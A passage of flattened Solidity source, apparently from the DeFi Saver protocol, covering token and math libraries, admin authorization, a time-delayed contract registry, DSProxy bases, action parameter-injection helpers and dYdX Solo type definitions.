bytes32 _id,
address _contractAddr,
uint256 _waitPeriod
) public virtual;
function startContractChange(bytes32 _id, address _newContractAddr) public virtual;
function approveContractChange(bytes32 _id) public virtual;
function cancelContractChange(bytes32 _id) public virtual;
function changeWaitPeriod(bytes32 _id, uint256 _newWaitPeriod) public virtual;
}
library Address {
//insufficient balance
error InsufficientBalance(uint256 available, uint256 required);
//unable to send value, recipient may have reverted
error SendingValueFail();
//insufficient balance for call
error InsufficientBalanceForCall(uint256 available, uint256 required);
//call to non-contract
error NonContractCall();
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly {
codehash := extcodehash(account)
}
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
uint256 balance = address(this).balance;
if (balance < amount){
revert InsufficientBalance(balance, amount);
}
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{value: amount}("");
if (!(success)){
revert SendingValueFail();
}
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return
functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
uint256 balance = address(this).balance;
if (balance < value){
revert InsufficientBalanceForCall(balance, value);
}
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(
address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage
) private returns (bytes memory) {
if (!(isContract(target))){
revert NonContractCall();
}
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{value: weiValue}(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(
token,
abi.encodeWithSelector(token.transferFrom.selector, from, to, value)
);
}
/// @dev Edited so it always first approves 0 and then the value, because of non standard tokens
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, 0));
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(
token,
abi.encodeWithSelector(token.approve.selector, spender, newAllowance)
);
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(
value,
"SafeERC20: decreased allowance below zero"
);
_callOptionalReturn(
token,
abi.encodeWithSelector(token.approve.selector, spender, newAllowance)
);
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(
data,
"SafeERC20: low-level call failed"
);
if (returndata.length > 0) {
// Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract MainnetAuthAddresses {
address internal constant ADMIN_VAULT_ADDR = 0xCCf3d848e08b94478Ed8f46fFead3008faF581fD;
address internal constant FACTORY_ADDRESS = 0x5a15566417e6C1c9546523066500bDDBc53F88C7;
address internal constant ADMIN_ADDR = 0x25eFA336886C74eA8E282ac466BdCd0199f85BB9; // USED IN ADMIN VAULT CONSTRUCTOR
}
contract AuthHelper is MainnetAuthAddresses {
}
contract AdminVault is AuthHelper {
address public owner;
address public admin;
error SenderNotAdmin();
constructor() {
owner = msg.sender;
admin = ADMIN_ADDR;
}
/// @notice Admin is able to change owner
/// @param _owner Address of new owner
function changeOwner(address _owner) public {
if (admin != msg.sender){
revert SenderNotAdmin();
}
owner = _owner;
}
/// @notice Admin is able to set new admin
/// @param _admin Address of multisig that becomes new admin
function changeAdmin(address _admin) public {
if (admin != msg.sender){
revert SenderNotAdmin();
}
admin = _admin;
}
}
contract AdminAuth is AuthHelper {
using SafeERC20 for IERC20;
AdminVault public constant adminVault = AdminVault(ADMIN_VAULT_ADDR);
error SenderNotOwner();
error SenderNotAdmin();
modifier onlyOwner() {
if (adminVault.owner() != msg.sender){
revert SenderNotOwner();
}
_;
}
modifier onlyAdmin() {
if (adminVault.admin() != msg.sender){
revert SenderNotAdmin();
}
_;
}
/// @notice withdraw stuck funds
function withdrawStuckFunds(address _token, address _receiver, uint256 _amount) public onlyOwner {
if (_token == 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE) {
payable(_receiver).transfer(_amount);
} else {
IERC20(_token).safeTransfer(_receiver, _amount);
}
}
/// @notice Destroy the contract
function kill() public onlyAdmin {
selfdestruct(payable(msg.sender));
}
}
contract DFSRegistry is AdminAuth {
error EntryAlreadyExistsError(bytes4);
error EntryNonExistentError(bytes4);
error EntryNotInChangeError(bytes4);
error ChangeNotReadyError(uint256,uint256);
error EmptyPrevAddrError(bytes4);
error AlreadyInContractChangeError(bytes4);
error AlreadyInWaitPeriodChangeError(bytes4);
event AddNewContract(address,bytes4,address,uint256);
event RevertToPreviousAddress(address,bytes4,address,address);
event StartContractChange(address,bytes4,address,address);
event ApproveContractChange(address,bytes4,address,address);
event CancelContractChange(address,bytes4,address,address);
event StartWaitPeriodChange(address,bytes4,uint256);
event ApproveWaitPeriodChange(address,bytes4,uint256,uint256);
event CancelWaitPeriodChange(address,bytes4,uint256,uint256);
struct Entry {
address contractAddr;
uint256 waitPeriod;
uint256 changeStartTime;
bool inContractChange;
bool inWaitPeriodChange;
bool exists;
}
mapping(bytes4 => Entry) public entries;
mapping(bytes4 => address) public previousAddresses;
mapping(bytes4 => address) public pendingAddresses;
mapping(bytes4 => uint256) public pendingWaitTimes;
/// @notice Given an contract id returns the registered address
/// @dev Id is keccak256 of the contract name
/// @param _id Id of contract
function getAddr(bytes4 _id) public view returns (address) {
return entries[_id].contractAddr;
}
/// @notice Helper function to easily query if id is registered
/// @param _id Id of contract
function isRegistered(bytes4 _id) public view returns (bool) {
return entries[_id].exists;
}
/////////////////////////// OWNER ONLY FUNCTIONS ///////////////////////////
/// @notice Adds a new contract to the registry
/// @param _id Id of contract
/// @param _contractAddr Address of the contract
/// @param _waitPeriod Amount of time to wait before a contract address can be changed
function addNewContract(
bytes4 _id,
address _contractAddr,
uint256 _waitPeriod
) public onlyOwner {
if (entries[_id].exists){
revert EntryAlreadyExistsError(_id);
}
entries[_id] = Entry({
contractAddr: _contractAddr,
waitPeriod: _waitPeriod,
changeStartTime: 0,
inContractChange: false,
inWaitPeriodChange: false,
exists: true
});
emit AddNewContract(msg.sender, _id, _contractAddr, _waitPeriod);
}
/// @notice Reverts to the previous address immediately
/// @dev In case the new version has a fault, a quick way to fallback to the old contract
/// @param _id Id of contract
function revertToPreviousAddress(bytes4 _id) public onlyOwner {
if (!(entries[_id].exists)){
revert EntryNonExistentError(_id);
}
if (previousAddresses[_id] == address(0)){
revert EmptyPrevAddrError(_id);
}
address currentAddr = entries[_id].contractAddr;
entries[_id].contractAddr = previousAddresses[_id];
emit RevertToPreviousAddress(msg.sender, _id, currentAddr, previousAddresses[_id]);
}
/// @notice Starts an address change for an existing entry
/// @dev Can override a change that is currently in progress
/// @param _id Id of contract
/// @param _newContractAddr Address of the new contract
function startContractChange(bytes4 _id, address _newContractAddr) public onlyOwner {
if (!entries[_id].exists){
revert EntryNonExistentError(_id);
}
if (entries[_id].inWaitPeriodChange){
revert AlreadyInWaitPeriodChangeError(_id);
}
entries[_id].changeStartTime = block.timestamp; // solhint-disable-line
entries[_id].inContractChange = true;
pendingAddresses[_id] = _newContractAddr;
emit StartContractChange(msg.sender, _id, entries[_id].contractAddr, _newContractAddr);
}
/// @notice Changes new contract address, correct time must have passed
/// @param _id Id of contract
function approveContractChange(bytes4 _id) public onlyOwner {
if (!entries[_id].exists){
revert EntryNonExistentError(_id);
}
if (!entries[_id].inContractChange){
revert EntryNotInChangeError(_id);
}
if (block.timestamp < (entries[_id].changeStartTime + entries[_id].waitPeriod)){// solhint-disable-line
revert ChangeNotReadyError(block.timestamp, (entries[_id].changeStartTime + entries[_id].waitPeriod));
}
address oldContractAddr = entries[_id].contractAddr;
entries[_id].contractAddr = pendingAddresses[_id];
entries[_id].inContractChange = false;
entries[_id].changeStartTime = 0;
pendingAddresses[_id] = address(0);
previousAddresses[_id] = oldContractAddr;
emit ApproveContractChange(msg.sender, _id, oldContractAddr, entries[_id].contractAddr);
}
/// @notice Cancel pending change
/// @param _id Id of contract
function cancelContractChange(bytes4 _id) public onlyOwner {
if (!entries[_id].exists){
revert EntryNonExistentError(_id);
}
if (!entries[_id].inContractChange){
revert EntryNotInChangeError(_id);
}
address oldContractAddr = pendingAddresses[_id];
pendingAddresses[_id] = address(0);
entries[_id].inContractChange = false;
entries[_id].changeStartTime = 0;
emit CancelContractChange(msg.sender, _id, oldContractAddr, entries[_id].contractAddr);
}
/// @notice Starts the change for waitPeriod
/// @param _id Id of contract
/// @param _newWaitPeriod New wait time
function startWaitPeriodChange(bytes4 _id, uint256 _newWaitPeriod) public onlyOwner {
if (!entries[_id].exists){
revert EntryNonExistentError(_id);
}
if (entries[_id].inContractChange){
revert AlreadyInContractChangeError(_id);
}
pendingWaitTimes[_id] = _newWaitPeriod;
entries[_id].changeStartTime = block.timestamp; // solhint-disable-line
entries[_id].inWaitPeriodChange = true;
emit StartWaitPeriodChange(msg.sender, _id, _newWaitPeriod);
}
/// @notice Changes new wait period, correct time must have passed
/// @param _id Id of contract
function approveWaitPeriodChange(bytes4 _id) public onlyOwner {
if (!entries[_id].exists){
revert EntryNonExistentError(_id);
}
if (!entries[_id].inWaitPeriodChange){
revert EntryNotInChangeError(_id);
}
if (block.timestamp < (entries[_id].changeStartTime + entries[_id].waitPeriod)){ // solhint-disable-line
revert ChangeNotReadyError(block.timestamp, (entries[_id].changeStartTime + entries[_id].waitPeriod));
}
uint256 oldWaitTime = entries[_id].waitPeriod;
entries[_id].waitPeriod = pendingWaitTimes[_id];
entries[_id].inWaitPeriodChange = false;
entries[_id].changeStartTime = 0;
pendingWaitTimes[_id] = 0;
emit ApproveWaitPeriodChange(msg.sender, _id, oldWaitTime, entries[_id].waitPeriod);
}
/// @notice Cancel wait period change
/// @param _id Id of contract
function cancelWaitPeriodChange(bytes4 _id) public onlyOwner {
if (!entries[_id].exists){
revert EntryNonExistentError(_id);
}
if (!entries[_id].inWaitPeriodChange){
revert EntryNotInChangeError(_id);
}
uint256 oldWaitPeriod = pendingWaitTimes[_id];
pendingWaitTimes[_id] = 0;
entries[_id].inWaitPeriodChange = false;
entries[_id].changeStartTime = 0;
emit CancelWaitPeriodChange(msg.sender, _id, oldWaitPeriod, entries[_id].waitPeriod);
}
}
contract StrategyModel {
bytes4 constant STRATEGY_STORAGE_ID = bytes4(keccak256("StrategyStorage"));
bytes4 constant SUB_STORAGE_ID = bytes4(keccak256("SubStorage"));
bytes4 constant BUNDLE_STORAGE_ID = bytes4(keccak256("BundleStorage"));
/// @dev Group of strategies bundled together so user can sub to multiple strategies at once
/// @param creator Address of the user who created the bundle
/// @param strategyIds Array of strategy ids stored in StrategyStorage
struct StrategyBundle {
address creator;
uint64[] strategyIds;
}
/// @dev Template/Class which defines a Strategy
/// @param name Name of the strategy useful for logging what strategy is executing
/// @param creator Address of the user which created the strategy
/// @param triggerIds Array of identifiers for trigger - bytes4(keccak256(TriggerName))
/// @param actionIds Array of identifiers for actions - bytes4(keccak256(ActionName))
/// @param paramMapping Describes how inputs to functions are piped from return/subbed values
/// @param continuous If the action is repeated (continuos) or one time
struct Strategy {
string name;
address creator;
bytes4[] triggerIds;
bytes4[] actionIds;
uint8[][] paramMapping;
bool continuous;
}
/// @dev List of actions grouped as a recipe
/// @param name Name of the recipe useful for logging what recipe is executing
/// @param callData Array of calldata inputs to each action
/// @param subData Used only as part of strategy, subData injected from StrategySub.subData
/// @param actionIds Array of identifiers for actions - bytes4(keccak256(ActionName))
/// @param paramMapping Describes how inputs to functions are piped from return/subbed values
struct Recipe {
string name;
bytes[] callData;
bytes32[] subData;
bytes4[] actionIds;
uint8[][] paramMapping;
}
/// @dev Actual data of the sub we store on-chain
/// @dev In order to save on gas we store a keccak256(StrategySub) and verify later on
/// @param userProxy Address of the users smart wallet/proxy
/// @param isEnabled Toggle if the subscription is active
/// @param strategySubHash Hash of the StrategySub data the user inputted
struct StoredSubData {
bytes20 userProxy; // address but put in bytes20 for gas savings
bool isEnabled;
bytes32 strategySubHash;
}
/// @dev Instance of a strategy, user supplied data
/// @param strategyOrBundleId Id of the strategy or bundle, depending on the isBundle bool
/// @param isBundle If true the id points to bundle, if false points directly to strategyId
/// @param triggerData User supplied data needed for checking trigger conditions
/// @param subData User supplied data used in recipe
struct StrategySub {
uint64 strategyOrBundleId;
bool isBundle;
bytes[] triggerData;
bytes32[] subData;
}
}
library TokenUtils {
using SafeERC20 for IERC20;
address public constant WETH_ADDR = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address public constant ETH_ADDR = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
function approveToken(
address _tokenAddr,
address _to,
uint256 _amount
) internal {
if (_tokenAddr == ETH_ADDR) return;
if (IERC20(_tokenAddr).allowance(address(this), _to) < _amount) {
IERC20(_tokenAddr).safeApprove(_to, _amount);
}
}
function pullTokensIfNeeded(
address _token,
address _from,
uint256 _amount
) internal returns (uint256) {
// handle max uint amount
if (_amount == type(uint256).max) {
_amount = getBalance(_token, _from);
}
if (_from != address(0) && _from != address(this) && _token != ETH_ADDR && _amount != 0) {
IERC20(_token).safeTransferFrom(_from, address(this), _amount);
}
return _amount;
}
function withdrawTokens(
address _token,
address _to,
uint256 _amount
) internal returns (uint256) {
if (_amount == type(uint256).max) {
_amount = getBalance(_token, address(this));
}
if (_to != address(0) && _to != address(this) && _amount != 0) {
if (_token != ETH_ADDR) {
IERC20(_token).safeTransfer(_to, _amount);
} else {
payable(_to).transfer(_amount);
}
}
return _amount;
}
function depositWeth(uint256 _amount) internal {
IWETH(WETH_ADDR).deposit{value: _amount}();
}
function withdrawWeth(uint256 _amount) internal {
IWETH(WETH_ADDR).withdraw(_amount);
}
function getBalance(address _tokenAddr, address _acc) internal view returns (uint256) {
if (_tokenAddr == ETH_ADDR) {
return _acc.balance;
} else {
return IERC20(_tokenAddr).balanceOf(_acc);
}
}
function getTokenDecimals(address _token) internal view returns (uint256) {
if (_token == ETH_ADDR) return 18;
return IERC20(_token).decimals();
}
}
contract FLFeeFaucet {
using SafeERC20 for IERC20;
/// @notice Sends 2 wei to msg.sender
/// @dev Anyone can call this method but it's not economically feasible to drain
/// @param _tokenAddr Address of the token we want 2 wei
function my2Wei(address _tokenAddr) public {
IERC20(_tokenAddr).safeTransfer(msg.sender, 2);
}
}
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
error ReentrantCall();
constructor () {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
if (_status == _ENTERED){
revert ReentrantCall();
}
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
abstract contract DSAuthority {
function canCall(
address src,
address dst,
bytes4 sig
) public view virtual returns (bool);
}
contract DSAuthEvents {
event LogSetAuthority(address indexed authority);
event LogSetOwner(address indexed owner);
}
contract DSAuth is DSAuthEvents {
DSAuthority public authority;
address public owner;
constructor() {
owner = msg.sender;
emit LogSetOwner(msg.sender);
}
function setOwner(address owner_) public auth {
owner = owner_;
emit LogSetOwner(owner);
}
function setAuthority(DSAuthority authority_) public auth {
authority = authority_;
emit LogSetAuthority(address(authority));
}
modifier auth {
require(isAuthorized(msg.sender, msg.sig), "Not authorized");
_;
}
function isAuthorized(address src, bytes4 sig) internal view returns (bool) {
if (src == address(this)) {
return true;
} else if (src == owner) {
return true;
} else if (authority == DSAuthority(address(0))) {
return false;
} else {
return authority.canCall(src, address(this), sig);
}
}
}
contract DSNote {
event LogNote(
bytes4 indexed sig,
address indexed guy,
bytes32 indexed foo,
bytes32 indexed bar,
uint256 wad,
bytes fax
) anonymous;
modifier note {
bytes32 foo;
bytes32 bar;
assembly {
foo := calldataload(4)
bar := calldataload(36)
}
emit LogNote(msg.sig, msg.sender, foo, bar, msg.value, msg.data);
_;
}
}
abstract contract DSProxy is DSAuth, DSNote {
DSProxyCache public cache; // global cache for contracts
constructor(address _cacheAddr) {
if (!(setCache(_cacheAddr))){
require(isAuthorized(msg.sender, msg.sig), "Not authorized");
}
}
// solhint-disable-next-line no-empty-blocks
receive() external payable {}
// use the proxy to execute calldata _data on contract _code
function execute(bytes memory _code, bytes memory _data)
public
payable
virtual
returns (address target, bytes32 response);
function execute(address _target, bytes memory _data)
public
payable
virtual
returns (bytes32 response);
//set new cache
function setCache(address _cacheAddr) public payable virtual returns (bool);
}
contract DSProxyCache {
mapping(bytes32 => address) cache;
function read(bytes memory _code) public view returns (address) {
bytes32 hash = keccak256(_code);
return cache[hash];
}
function write(bytes memory _code) public returns (address target) {
assembly {
target := create(0, add(_code, 0x20), mload(_code))
switch iszero(extcodesize(target))
case 1 {
// throw if contract failed to deploy
revert(0, 0)
}
}
bytes32 hash = keccak256(_code);
cache[hash] = target;
}
}
contract DefisaverLogger {
event RecipeEvent(
address indexed caller,
string indexed logName
);
event ActionDirectEvent(
address indexed caller,
string indexed logName,
bytes data
);
function logRecipeEvent(
string memory _logName
) public {
emit RecipeEvent(msg.sender, _logName);
}
function logActionDirectEvent(
string memory _logName,
bytes memory _data
) public {
emit ActionDirectEvent(msg.sender, _logName, _data);
}
}
contract MainnetActionsUtilAddresses {
address internal constant DFS_REG_CONTROLLER_ADDR = 0xF8f8B3C98Cf2E63Df3041b73f80F362a4cf3A576;
address internal constant REGISTRY_ADDR = 0x287778F121F134C66212FB16c9b53eC991D32f5b;
address internal constant DFS_LOGGER_ADDR = 0xcE7a977Cac4a481bc84AC06b2Da0df614e621cf3;
}
contract ActionsUtilHelper is MainnetActionsUtilAddresses {
}
abstract contract ActionBase is AdminAuth, ActionsUtilHelper {
event ActionEvent(
string indexed logName,
bytes data
);
DFSRegistry public constant registry = DFSRegistry(REGISTRY_ADDR);
DefisaverLogger public constant logger = DefisaverLogger(
DFS_LOGGER_ADDR
);
//Wrong sub index value
error SubIndexValueError();
//Wrong return index value
error ReturnIndexValueError();
/// @dev Subscription params index range [128, 255]
uint8 public constant SUB_MIN_INDEX_VALUE = 128;
uint8 public constant SUB_MAX_INDEX_VALUE = 255;
/// @dev Return params index range [1, 127]
uint8 public constant RETURN_MIN_INDEX_VALUE = 1;
uint8 public constant RETURN_MAX_INDEX_VALUE = 127;
/// @dev If the input value should not be replaced
uint8 public constant NO_PARAM_MAPPING = 0;
/// @dev We need to parse Flash loan actions in a different way
enum ActionType { FL_ACTION, STANDARD_ACTION, FEE_ACTION, CHECK_ACTION, CUSTOM_ACTION }
/// @notice Parses inputs and runs the implemented action through a proxy
/// @dev Is called by the RecipeExecutor chaining actions together
/// @param _callData Array of input values each value encoded as bytes
/// @param _subData Array of subscribed vales, replaces input values if specified
/// @param _paramMapping Array that specifies how return and subscribed values are mapped in input
/// @param _returnValues Returns values from actions before, which can be injected in inputs
/// @return Returns a bytes32 value through DSProxy, each actions implements what that value is
function executeAction(
bytes memory _callData,
bytes32[] memory _subData,
uint8[] memory _paramMapping,
bytes32[] memory _returnValues
) public payable virtual returns (bytes32);
/// @notice Parses inputs and runs the single implemented action through a proxy
/// @dev Used to save gas when executing a single action directly
function executeActionDirect(bytes memory _callData) public virtual payable;
/// @notice Returns the type of action we are implementing
function actionType() public pure virtual returns (uint8);
//////////////////////////// HELPER METHODS ////////////////////////////
/// @notice Given an uint256 input, injects return/sub values if specified
/// @param _param The original input value
/// @param _mapType Indicated the type of the input in paramMapping
/// @param _subData Array of subscription data we can replace the input value with
/// @param _returnValues Array of subscription data we can replace the input value with
function _parseParamUint(
uint _param,
uint8 _mapType,
bytes32[] memory _subData,
bytes32[] memory _returnValues
) internal pure returns (uint) {
if (isReplaceable(_mapType)) {
if (isReturnInjection(_mapType)) {
_param = uint(_returnValues[getReturnIndex(_mapType)]);
} else {
_param = uint256(_subData[getSubIndex(_mapType)]);
}
}
return _param;
}
/// @notice Given an addr input, injects return/sub values if specified
/// @param _param The original input value
/// @param _mapType Indicated the type of the input in paramMapping
/// @param _subData Array of subscription data we can replace the input value with
/// @param _returnValues Array of subscription data we can replace the input value with
function _parseParamAddr(
address _param,
uint8 _mapType,
bytes32[] memory _subData,
bytes32[] memory _returnValues
) internal view returns (address) {
if (isReplaceable(_mapType)) {
if (isReturnInjection(_mapType)) {
_param = address(bytes20((_returnValues[getReturnIndex(_mapType)])));
} else {
/// @dev The last two values are specially reserved for proxy addr and owner addr
if (_mapType == 254) return address(this); //DSProxy address
if (_mapType == 255) return DSProxy(payable(address(this))).owner(); // owner of DSProxy
_param = address(uint160(uint256(_subData[getSubIndex(_mapType)])));
}
}
return _param;
}
/// @notice Given an bytes32 input, injects return/sub values if specified
/// @param _param The original input value
/// @param _mapType Indicated the type of the input in paramMapping
/// @param _subData Array of subscription data we can replace the input value with
/// @param _returnValues Array of subscription data we can replace the input value with
function _parseParamABytes32(
bytes32 _param,
uint8 _mapType,
bytes32[] memory _subData,
bytes32[] memory _returnValues
) internal pure returns (bytes32) {
if (isReplaceable(_mapType)) {
if (isReturnInjection(_mapType)) {
_param = (_returnValues[getReturnIndex(_mapType)]);
} else {
_param = _subData[getSubIndex(_mapType)];
}
}
return _param;
}
/// @notice Checks if the paramMapping value indicated that we need to inject values
/// @param _type Indicated the type of the input
function isReplaceable(uint8 _type) internal pure returns (bool) {
return _type != NO_PARAM_MAPPING;
}
/// @notice Checks if the paramMapping value is in the return value range
/// @param _type Indicated the type of the input
function isReturnInjection(uint8 _type) internal pure returns (bool) {
return (_type >= RETURN_MIN_INDEX_VALUE) && (_type <= RETURN_MAX_INDEX_VALUE);
}
/// @notice Transforms the paramMapping value to the index in return array value
/// @param _type Indicated the type of the input
function getReturnIndex(uint8 _type) internal pure returns (uint8) {
if (!(isReturnInjection(_type))){
revert SubIndexValueError();
}
return (_type - RETURN_MIN_INDEX_VALUE);
}
/// @notice Transforms the paramMapping value to the index in sub array value
/// @param _type Indicated the type of the input
function getSubIndex(uint8 _type) internal pure returns (uint8) {
if (_type < SUB_MIN_INDEX_VALUE){
revert ReturnIndexValueError();
}
return (_type - SUB_MIN_INDEX_VALUE);
}
}
library Account {
enum Status {Normal, Liquid, Vapor}
struct Info {
address owner; // The address that owns the account
uint256 number; // A nonce that allows a single address to control many accounts
}
struct Storage {
mapping(uint256 => Types.Par) balances; // Mapping from marketId to principal
Status status;
}
}
library Actions {
enum ActionType {
Deposit, // supply tokens
Withdraw, // borrow tokens
Transfer, // transfer balance between accounts
Buy, // buy an amount of some token (public virtually)
Sell, // sell an amount of some token (public virtually)
Trade, // trade tokens against another account
Liquidate, // liquidate an undercollateralized or expiring account
Vaporize, // use excess tokens to zero-out a completely negative account
Call // send arbitrary data to an address
}
enum AccountLayout {OnePrimary, TwoPrimary, PrimaryAndSecondary}
enum MarketLayout {ZeroMarkets, OneMarket, TwoMarkets}
struct ActionArgs {
ActionType actionType;
uint256 accountId;
Types.AssetAmount amount;
uint256 primaryMarketId;
uint256 secondaryMarketId;
address otherAddress;
uint256 otherAccountId;
bytes data;
}
struct DepositArgs {
Types.AssetAmount amount;
Account.Info account;
uint256 market;
address from;
}
struct WithdrawArgs {
Types.AssetAmount amount;
Account.Info account;
uint256 market;
address to;
}
struct TransferArgs {
Types.AssetAmount amount;
Account.Info accountOne;
Account.Info accountTwo;
uint256 market;
}
struct BuyArgs {
Types.AssetAmount amount;
Account.Info account;
uint256 makerMarket;
uint256 takerMarket;
address exchangeWrapper;
bytes orderData;
}
struct SellArgs {
Types.AssetAmount amount;
Account.Info account;
uint256 takerMarket;
uint256 makerMarket;
address exchangeWrapper;
bytes orderData;
}
struct TradeArgs {
Types.AssetAmount amount;
Account.Info takerAccount;
Account.Info makerAccount;
uint256 inputMarket;
uint256 outputMarket;
address autoTrader;
bytes tradeData;
}
struct LiquidateArgs {
Types.AssetAmount amount;
Account.Info solidAccount;
Account.Info liquidAccount;
uint256 owedMarket;
uint256 heldMarket;
}
struct VaporizeArgs {
Types.AssetAmount amount;
Account.Info solidAccount;
Account.Info vaporAccount;
uint256 owedMarket;
uint256 heldMarket;
}
struct CallArgs {
Account.Info account;
address callee;
bytes data;
}
}
library Decimal {
struct D256 {
uint256 value;
}
}
library Interest {
struct Rate {
uint256 value;
}
struct Index {
uint96 borrow;
uint96 supply;
uint32 lastUpdate;
}
}
library Monetary {
struct Price {
uint256 value;
}
struct Value {
uint256 value;
}
}
library Storage {
// All information necessary for tracking a market
struct Market {
// Contract address of the associated ERC20 token
address token;
// Total aggregated supply and borrow amount of the entire market
Types.TotalPar totalPar;
// Interest index of the market
Interest.Index index;
// Contract address of the price oracle for this market
address priceOracle;
// Contract address of the interest setter for this market
address interestSetter;
// Multiplier on the marginRatio for this market
Decimal.D256 marginPremium;
// Multiplier on the liquidationSpread for this market
Decimal.D256 spreadPremium;
// Whether additional borrows are allowed for this market
bool isClosing;
}
// The global risk parameters that govern the health and security of the system
struct RiskParams {
// Required ratio of over-collateralization
Decimal.D256 marginRatio;
// Percentage penalty incurred by liquidated accounts
Decimal.D256 liquidationSpread;
// Percentage of the borrower's interest fee that gets passed to the suppliers
Decimal.D256 earningsRate;
// The minimum absolute borrow value of an account
// There must be sufficient incentivize to liquidate undercollateralized accounts
Monetary.Value minBorrowedValue;
}
// The maximum RiskParam values that can be set
struct RiskLimits {
uint64 marginRatioMax;
uint64 liquidationSpreadMax;
uint64 earningsRateMax;
uint64 marginPremiumMax;
uint64 spreadPremiumMax;
uint128 minBorrowedValueMax;
}
// The entire storage state of Solo
struct State {
// number of markets
uint256 numMarkets;
// marketId => Market
mapping(uint256 => Market) markets;
// owner => account number => Account
mapping(address => mapping(uint256 => Account.Storage)) accounts;
// Addresses that can control other users accounts
mapping(address => mapping(address => bool)) operators;
// Addresses that can control all users accounts
mapping(address => bool) globalOperators;
// mutable risk parameters of the system
RiskParams riskParams;
// immutable risk limits of the system
RiskLimits riskLimits;
}
}
library Types {
enum AssetDenomination {
Wei, // the amount is denominated in wei
Par // the amount is denominated in par
}
enum AssetReference {
Delta, // the amount is given as a delta from the current value
Target // the amount is given as an exact number to end up at
}
struct AssetAmount {
bool sign; // true if positive
AssetDenomination denomination;
AssetReference ref;
uint256 value;
}
struct TotalPar {
uint128 borrow;
uint128 supply;
}
struct Par {
bool sign; // true if positive
uint128 value;
}
